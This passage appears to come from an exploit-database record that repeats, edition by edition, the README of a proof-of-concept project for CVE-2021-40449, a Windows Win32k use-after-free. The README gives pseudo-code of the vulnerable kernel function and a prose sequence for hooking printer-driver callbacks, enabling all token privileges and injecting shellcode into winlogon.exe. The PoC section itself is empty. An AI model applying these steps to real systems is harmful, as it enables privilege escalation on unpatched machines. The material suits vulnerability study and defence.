`hdcOpenDCW`, it is possible to destroy the original device context by calling `ResetDC`, which causes a use-after-free in the kernel when the user-mode callback returns.\n\nThe following pseudo-code is made partially from the leaked Windows XP source code and by reverse-engineering the latest (before the patch) `GreResetDCInternal` from `Win32kfull.sys`. The irrelevant parts have been removed with `[...]`. Look for the `VULN: ` comments.\n```c\nBOOL GreResetDCInternal(\n HDC hdc,\n DEVMODEW *pdmw,\n BOOL *pbBanding,\n DRIVER_INFO_2W *pDriverInfo2,\n PVOID ppUMdhpdev)\n{\n // [...]\n HDC hdcNew;\n\n {\n // Create DCOBJ from HDC\n DCOBJ dco(hdc);\n\n if (!dco.bValid())\n {\n SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);\n }\n else\n {\n // Create DEVOBJ from `dco`\n PDEVOBJ po(dco.hdev());\n\n // [...]\n\n // Create the new DC\n // VULN: Can result in a usermode callback that destroys old DC, which\n // invalidates `dco` and `po`\n hdcNew = hdcOpenDCW(L\"\",\n pdmw,\n DCTYPE_DIRECT,\n po.hSpooler,\n prton,\n pDriverInfo2,\n ppUMdhpdev);\n\n if (hdcNew)\n {\n po->hSpooler = NULL;\n\n DCOBJ dcoNew(hdcNew);\n\n if (!dcoNew.bValid())\n {\n SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);\n }\n else\n {\n // Transfer any remote fonts\n\n dcoNew->pPFFList = dco->pPFFList;\n dco->pPFFList = NULL;\n\n // Transfer any color transform\n\n dcoNew->pCXFList = dco->pCXFList;\n dco->pCXFList = NULL;\n\n PDEVOBJ poNew((HDEV)dcoNew.pdc->ppdev());\n\n // Let the driver know\n // VULN: Method is taken from old (possibly destroyed) `po`\n PFN_DrvResetPDEV rfn = po->ppfn[INDEX_DrvResetPDEV];\n\n if (rfn != NULL)\n {\n (*rfn)(po->dhpdev, poNew->dhpdev);\n }\n\n // [...]\n }\n }\n }\n }\n\n // Destroy old DC\n // [...]\n}\n```\n\nAs can be seen from the pseudo-code, the old device context can be freed in a user-mode callback from the `hdcOpenDCW` call, and later on, the method `DrvResetPDEV` is retrieved from the old device context and called with `(po->dhpdev, poNew->dhpdev)`.\n\nTo create and hook a device context, one can do the following:\n\n- Find an available printer with `EnumPrinters`\n- Load the printer driver into memory with `OpenPrinter`, `GetPrinterDriver` and `LoadLibraryExA`\n- Get the printer driver's user-mode callback table with `GetProcAddress` and `DrvEnableDriver`\n- Unprotect the printer driver's user-mode callback table with `VirtualProtect`\n- Overwrite the printer driver's desired user-mode callback table entries\n- Create a device context for the printer with `CreateDC(NULL, printerName, NULL, NULL)`\n\nWe should now have a device context for a printer with hooked user-mode callbacks.\n\nWe're interested in only one hook, namely `DrvEnablePDEV`. This hook is interesting in two aspects: triggering the UAF and controlling the arguments, as described earlier. To trigger the UAF vulnerability, we will call `ResetDC` inside of the hook, which will destroy the old device context. When we return from the hook, we will still be inside the first `GreResetDCInternal`, which will shortly after get and call the function pointer for `DrvResetPDEV` from our old and destroyed device context with the two arguments that got returned from `DrvEnablePDEV`; the old and the new `DHPDEV`.\n\nIf your process is running with a medium integrity level, KASLR should not be an issue with the help of `EnumDeviceDrivers` and `NtQuerySystemInformation`. \n\nKaspersky mentions that the original exploit used GDI palette objects and a single kernel function call to achieve arbitrary memory read/write. This exploit uses [a technique to allocate a BitMapHeader on the big pool](https://blahcat.github.io/2019/03/17/small-dumps-in-the-big-pool/) and `RtlSetAllBits` to enable all privileges on our current process token. The `BitMapHeader` will point to our current process token's `_SEP_TOKEN_PRIVILEGES`. By calling `RtlSetAllBits(BitMapHeader)`, it's possible to enable all privileges for our current process token with a single kernel function call. From here, one can abuse the new privileges to get SYSTEM. This exploit uses `SeDebugPrivilege` to inject shellcode into the `winlogon.exe` process.\n\n## PoC\n\n\n\n## References\n\n- [https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/)\n- [https://github.com/siberas/CVE-2016-3309_Reloaded/](https://github.com/siberas/CVE-2016-3309_Reloaded/)\n- [https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)\n- [https://github.com/KaLendsi/CVE-2021-40449-Exploit](https://github.com/KaLendsi/CVE-2021-40449-Exploit)\n- [https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ](https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ)\n", "published": "2021-10-16T16:17:44", "modified": "2021-11-08T09:48:11", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://github.com/ly4k/CallbackHell", "reporter": "ly4k", "references": [], "cvelist": ["CVE-2016-3309", "CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-08T17:27:49", "history": [], "viewCount": 24, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449", "CVE-2016-3309"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739", "CPAI-2016-0683"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038", "SECURELIST:1F59148E6615695438F94EF4956585AA"]}, {"type": "githubexploit", "idList": ["67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "B45F7278-2C20-5C06-B834-59D960047852", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2016-3309", "MS:CVE-2021-40449"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026", "1337DAY-ID-28749"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75", "RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS16-098.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006669.NASL"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA11908", "KLA12309", "KLA10856"]}], "modified": "2021-11-08T17:27:49", "rev": 2}, "score": {"value": 6.3, "vector": "NONE", "modified": "2021-11-08T17:27:49", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-08T17:27:49", "differentElements": ["modified", "title"], "edition": 5}, {"bulletin": {"id": "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "vendorId": "GITHUBEXPL:LY4K-CALLBACKHELL", "hash": "4ef325963611dd14c2f3dcbaa32763b3", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for ['CVE-2021-40449']", "description": "# CallbackHell\n\nExploit for CVE-2021-40449 (Win32k - LPE)\n\n- [CallbackHell](#callbackhell)\n - [Description](#description)\n - [Technical Writeup](#technical-writeup)\n - [PoC](#poc)\n - [References](#references)\n\n## Description\n\nCVE-2021-40449 is a use-after-free in Win32k that allows for local privilege escalation.\n\nThe vulnerability was found in the wild by [Kaspersky](https://www.kaspersky.com/blog/mysterysnail-cve-2021-40449/42448/).\n\nThe discovered exploit was written to support the following Windows products:\n - Microsoft Windows Vista\n - Microsoft Windows 7\n - Microsoft Windows 8\n - Microsoft Windows 8.1\n - Microsoft Windows Server 2008\n - Microsoft Windows Server 2008 R2\n - Microsoft Windows Server 2012\n - Microsoft Windows Server 2012 R2\n - Microsoft Windows 10 (build 14393)\n - Microsoft Windows Server 2016 (build 14393)\n - Microsoft Windows 10 (build 17763)\n - Microsoft Windows Server 2019 (build 17763)\n\nHowever, this exploit is current only tested on the following versions:\n - Microsoft Windows 10 (build 14393)\n - Microsoft Windows 10 (build 17763)\n\n## Technical Writeup\n\nI highly recommend reading Kaspersky's [technical writeup](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/) before proceeding.\n\nAs mentioned in the technical writeup by Kasperky, the vulnerability exists in `GreResetDCInternal`. If an attacker hooks the user-mode callback `DrvEnablePDEV`, which is called during `hdcOpenDCW`, it is possible to destroy the original device context by calling `ResetDC`, which causes a use-after-free in the kernel when the user-mode callback returns.\n\nThe following pseudo-code is made partially from the leaked Windows XP source code and by reverse-engineering the latest (before the patch) `GreResetDCInternal` from `Win32kfull.sys`. The irrelevant parts have been removed with `[...]`. Look for the `VULN: ` comments.\n```c\nBOOL GreResetDCInternal(\n HDC hdc,\n DEVMODEW *pdmw,\n BOOL *pbBanding,\n DRIVER_INFO_2W *pDriverInfo2,\n PVOID ppUMdhpdev)\n{\n // [...]\n HDC hdcNew;\n\n {\n // Create DCOBJ from HDC\n DCOBJ dco(hdc);\n\n if (!dco.bValid())\n {\n SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);\n }\n else\n {\n // Create DEVOBJ from `dco`\n PDEVOBJ po(dco.hdev());\n\n // [...]\n\n // Create the new DC\n // VULN: Can result in a usermode callback that destroys old DC, which\n // invalidates `dco` and `po`\n hdcNew = hdcOpenDCW(L\"\",\n pdmw,\n DCTYPE_DIRECT,\n po.hSpooler,\n prton,\n pDriverInfo2,\n ppUMdhpdev);\n\n if (hdcNew)\n {\n po->hSpooler = NULL;\n\n DCOBJ dcoNew(hdcNew);\n\n if (!dcoNew.bValid())\n {\n SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);\n }\n else\n {\n // Transfer any remote fonts\n\n dcoNew->pPFFList = dco->pPFFList;\n dco->pPFFList = NULL;\n\n // Transfer any color transform\n\n dcoNew->pCXFList = dco->pCXFList;\n dco->pCXFList = NULL;\n\n PDEVOBJ poNew((HDEV)dcoNew.pdc->ppdev());\n\n // Let the driver know\n // VULN: Method is taken from old (possibly destroyed) `po`\n PFN_DrvResetPDEV rfn = po->ppfn[INDEX_DrvResetPDEV];\n\n if (rfn != NULL)\n {\n (*rfn)(po->dhpdev, poNew->dhpdev);\n }\n\n // [...]\n }\n }\n }\n }\n\n // Destroy old DC\n // [...]\n}\n```\n\nAs can be seen from the pseudo-code, the old device context can be freed in a user-mode callback from the `hdcOpenDCW` call, and later on, the method `DrvResetPDEV` is retrieved from the old device context and called with `(po->dhpdev, poNew->dhpdev)`.\n\nTo create and hook a device context, one can do the following:\n\n- Find an available printer with `EnumPrinters`\n- Load the printer driver into memory with `OpenPrinter`, `GetPrinterDriver` and `LoadLibraryExA`\n- Get the printer driver's user-mode callback table with `GetProcAddress` and `DrvEnableDriver`\n- Unprotect the printer driver's user-mode callback table with `VirtualProtect`\n- Overwrite the printer driver's desired user-mode callback table entries\n- Create a device context for the printer with `CreateDC(NULL, printerName, NULL, NULL)`\n\nWe should now have a device context for a printer with hooked user-mode callbacks.\n\nWe're interested in only one hook, namely `DrvEnablePDEV`. This hook is interesting in two aspects: triggering the UAF and controlling the arguments, as described earlier. To trigger the UAF vulnerability, we will call `ResetDC` inside of the hook, which will destroy the old device context. When we return from the hook, we will still be inside the first `GreResetDCInternal`, which will shortly after get and call the function pointer for `DrvResetPDEV` from our old and destroyed device context with the two arguments that got returned from `DrvEnablePDEV`; the old and the new `DHPDEV`.\n\nIf your process is running with a medium integrity level, KASLR should not be an issue with the help of `EnumDeviceDrivers` and `NtQuerySystemInformation`. \n\nKaspersky mentions that the original exploit used GDI palette objects and a single kernel function call to achieve arbitrary memory read/write. This exploit uses [a technique to allocate a BitMapHeader on the big pool](https://blahcat.github.io/2019/03/17/small-dumps-in-the-big-pool/) and `RtlSetAllBits` to enable all privileges on our current process token. The `BitMapHeader` will point to our current process token's `_SEP_TOKEN_PRIVILEGES`. By calling `RtlSetAllBits(BitMapHeader)`, it's possible to enable all privileges for our current process token with a single kernel function call. From here, one can abuse the new privileges to get SYSTEM. This exploit uses `SeDebugPrivilege` to inject shellcode into the `winlogon.exe` process.\n\n## PoC\n\n\n\n## References\n\n- [https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/)\n- [https://github.com/siberas/CVE-2016-3309_Reloaded/](https://github.com/siberas/CVE-2016-3309_Reloaded/)\n- [https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)\n- [https://github.com/KaLendsi/CVE-2021-40449-Exploit](https://github.com/KaLendsi/CVE-2021-40449-Exploit)\n- [https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ](https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ)\n", "published": "2021-10-16T16:17:44", "modified": "2021-12-01T01:58:15", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://github.com/ly4k/CallbackHell", "reporter": "ly4k", "references": [], "cvelist": ["CVE-2016-3309", "CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-12-01T17:35:07", "history": [], "viewCount": 25, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309", "CVE-2021-40449"]}, {"type": "githubexploit", "idList": ["67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "B45F7278-2C20-5C06-B834-59D960047852", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739", "CPAI-2016-0683"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "securelist", "idList": ["SECURELIST:1F59148E6615695438F94EF4956585AA", "SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2016-3309", "MS:CVE-2021-40449"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749", "1337DAY-ID-37026"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25", "RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006669.NASL"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA12310", "KLA12309", "KLA11908"]}], "modified": "2021-12-01T17:35:07", "rev": 2}, "score": {"value": 6.3, "vector": "NONE", "modified": "2021-12-01T17:35:07", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-12-01T17:35:07", "differentElements": ["modified"], "edition": 6}, {"bulletin": {"id": "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "vendorId": "GITHUBEXPL:LY4K-CALLBACKHELL", "hash": "8174b0c32643163cf74854f6349f297e", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for ['CVE-2021-40449']", "description": "# CallbackHell\n\nExploit for CVE-2021-40449 (Win32k - LPE)\n\n- [CallbackHell](#callbackhell)\n - [Description](#description)\n - [Technical Writeup](#technical-writeup)\n - [PoC](#poc)\n - [References](#references)\n\n## Description\n\nCVE-2021-40449 is a use-after-free in Win32k that allows for local privilege escalation.\n\nThe vulnerability was found in the wild by [Kaspersky](https://www.kaspersky.com/blog/mysterysnail-cve-2021-40449/42448/).\n\nThe discovered exploit was written to support the following Windows products:\n - Microsoft Windows Vista\n - Microsoft Windows 7\n - Microsoft Windows 8\n - Microsoft Windows 8.1\n - Microsoft Windows Server 2008\n - Microsoft Windows Server 2008 R2\n - Microsoft Windows Server 2012\n - Microsoft Windows Server 2012 R2\n - Microsoft Windows 10 (build 14393)\n - Microsoft Windows Server 2016 (build 14393)\n - Microsoft Windows 10 (build 17763)\n - Microsoft Windows Server 2019 (build 17763)\n\nHowever, this exploit is current only tested on the following versions:\n - Microsoft Windows 10 (build 14393)\n - Microsoft Windows 10 (build 17763)\n\n## Technical Writeup\n\nI highly recommend reading Kaspersky's [technical writeup](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/) before proceeding.\n\nAs mentioned in the technical writeup by Kasperky, the vulnerability exists in `GreResetDCInternal`. If an attacker hooks the user-mode callback `DrvEnablePDEV`, which is called during `hdcOpenDCW`, it is possible to destroy the original device context by calling `ResetDC`, which causes a use-after-free in the kernel when the user-mode callback returns.\n\nThe following pseudo-code is made partially from the leaked Windows XP source code and by reverse-engineering the latest (before the patch) `GreResetDCInternal` from `Win32kfull.sys`. The irrelevant parts have been removed with `[...]`. Look for the `VULN: ` comments.\n```c\nBOOL GreResetDCInternal(\n HDC hdc,\n DEVMODEW *pdmw,\n BOOL *pbBanding,\n DRIVER_INFO_2W *pDriverInfo2,\n PVOID ppUMdhpdev)\n{\n // [...]\n HDC hdcNew;\n\n {\n // Create DCOBJ from HDC\n DCOBJ dco(hdc);\n\n if (!dco.bValid())\n {\n SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);\n }\n else\n {\n // Create DEVOBJ from `dco`\n PDEVOBJ po(dco.hdev());\n\n // [...]\n\n // Create the new DC\n // VULN: Can result in a usermode callback that destroys old DC, which\n // invalidates `dco` and `po`\n hdcNew = hdcOpenDCW(L\"\",\n pdmw,\n DCTYPE_DIRECT,\n po.hSpooler,\n prton,\n pDriverInfo2,\n ppUMdhpdev);\n\n if (hdcNew)\n {\n po->hSpooler = NULL;\n\n DCOBJ dcoNew(hdcNew);\n\n if (!dcoNew.bValid())\n {\n SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);\n }\n else\n {\n // Transfer any remote fonts\n\n dcoNew->pPFFList = dco->pPFFList;\n dco->pPFFList = NULL;\n\n // Transfer any color transform\n\n dcoNew->pCXFList = dco->pCXFList;\n dco->pCXFList = NULL;\n\n PDEVOBJ poNew((HDEV)dcoNew.pdc->ppdev());\n\n // Let the driver know\n // VULN: Method is taken from old (possibly destroyed) `po`\n PFN_DrvResetPDEV rfn = po->ppfn[INDEX_DrvResetPDEV];\n\n if (rfn != NULL)\n {\n (*rfn)(po->dhpdev, poNew->dhpdev);\n }\n\n // [...]\n }\n }\n }\n }\n\n // Destroy old DC\n // [...]\n}\n```\n\nAs can be seen from the pseudo-code, the old device context can be freed in a user-mode callback from the `hdcOpenDCW` call, and later on, the method `DrvResetPDEV` is retrieved from the old device context and called with `(po->dhpdev, poNew->dhpdev)`.\n\nTo create and hook a device context, one can do the following:\n\n- Find an available printer with `EnumPrinters`\n- Load the printer driver into memory with `OpenPrinter`, `GetPrinterDriver` and `LoadLibraryExA`\n- Get the printer driver's user-mode callback table with `GetProcAddress` and `DrvEnableDriver`\n- Unprotect the printer driver's user-mode callback table with `VirtualProtect`\n- Overwrite the printer driver's desired user-mode callback table entries\n- Create a device context for the printer with `CreateDC(NULL, printerName, NULL, NULL)`\n\nWe should now have a device context for a printer with hooked user-mode callbacks.\n\nWe're interested in only one hook, namely `DrvEnablePDEV`. This hook is interesting in two aspects: triggering the UAF and controlling the arguments, as described earlier. To trigger the UAF vulnerability, we will call `ResetDC` inside of the hook, which will destroy the old device context. When we return from the hook, we will still be inside the first `GreResetDCInternal`, which will shortly after get and call the function pointer for `DrvResetPDEV` from our old and destroyed device context with the two arguments that got returned from `DrvEnablePDEV`; the old and the new `DHPDEV`.\n\nIf your process is running with a medium integrity level, KASLR should not be an issue with the help of `EnumDeviceDrivers` and `NtQuerySystemInformation`. \n\nKaspersky mentions that the original exploit used GDI palette objects and a single kernel function call to achieve arbitrary memory read/write. This exploit uses [a technique to allocate a BitMapHeader on the big pool](https://blahcat.github.io/2019/03/17/small-dumps-in-the-big-pool/) and `RtlSetAllBits` to enable all privileges on our current process token. The `BitMapHeader` will point to our current process token's `_SEP_TOKEN_PRIVILEGES`. By calling `RtlSetAllBits(BitMapHeader)`, it's possible to enable all privileges for our current process token with a single kernel function call. From here, one can abuse the new privileges to get SYSTEM. This exploit uses `SeDebugPrivilege` to inject shellcode into the `winlogon.exe` process.\n\n## PoC\n\n\n\n## References\n\n- [https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/)\n- [https://github.com/siberas/CVE-2016-3309_Reloaded/](https://github.com/siberas/CVE-2016-3309_Reloaded/)\n- [https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)\n- [https://github.com/KaLendsi/CVE-2021-40449-Exploit](https://github.com/KaLendsi/CVE-2021-40449-Exploit)\n- [https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ](https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ)\n", "published": "2021-10-16T16:17:44", "modified": "2021-12-01T22:03:35", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://github.com/ly4k/CallbackHell", "reporter": "ly4k", "references": [], "cvelist": ["CVE-2021-40449", "CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-12-02T08:46:45", "history": [], "viewCount": 28, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449", "CVE-2016-3309"]}, {"type": "githubexploit", "idList": ["B45F7278-2C20-5C06-B834-59D960047852", "059CF457-59E4-5647-A0BC-0014C543D6D3", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2016-0683", "CPAI-2021-0739"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "securelist", "idList": ["SECURELIST:1F59148E6615695438F94EF4956585AA", "SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449", "MS:CVE-2016-3309"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026", "1337DAY-ID-28749"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25", "RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS16-098.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006675.NASL", 